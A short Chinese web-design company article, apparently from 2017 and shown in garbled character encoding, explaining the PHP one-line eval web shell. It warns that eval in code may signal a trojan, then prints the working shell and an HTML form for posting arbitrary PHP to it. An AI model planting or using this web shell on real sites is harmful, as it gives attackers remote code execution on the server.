結(jié)合設(shè)計(jì)經(jīng)驗(yàn)與營(yíng)銷(xiāo)實(shí)踐，提供有價(jià)值的互聯(lián)網(wǎng)資訊
發(fā)布日期：2017-03-19瀏覽次數(shù)：1194 來(lái)源：福州網(wǎng)站建設(shè)
eval可以用來(lái)執(zhí)行任何其他php代碼，所以對(duì)于代碼里發(fā)現(xiàn)了eval函數(shù)一定要小心，可能是木馬
就這一句話害死人，這樣任何人都可以post任何文件上來(lái)，所以要做好防范
|
1
|
<?php @eval($_POST['c']);?> |
使用方法也很簡(jiǎn)單，本地提交文件指向提交文件，里面的php代碼就會(huì)被執(zhí)行
|
1
2
3
4
5
6
7
8
|
<html> <body> <form action="a.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html> |
以上是由福州網(wǎng)站建設(shè)的小編為你分享了"php一句話木馬eval函數(shù)"文章，如果你在這方面有什么問(wèn)題，隨時(shí)聯(lián)系我們
微信便捷交流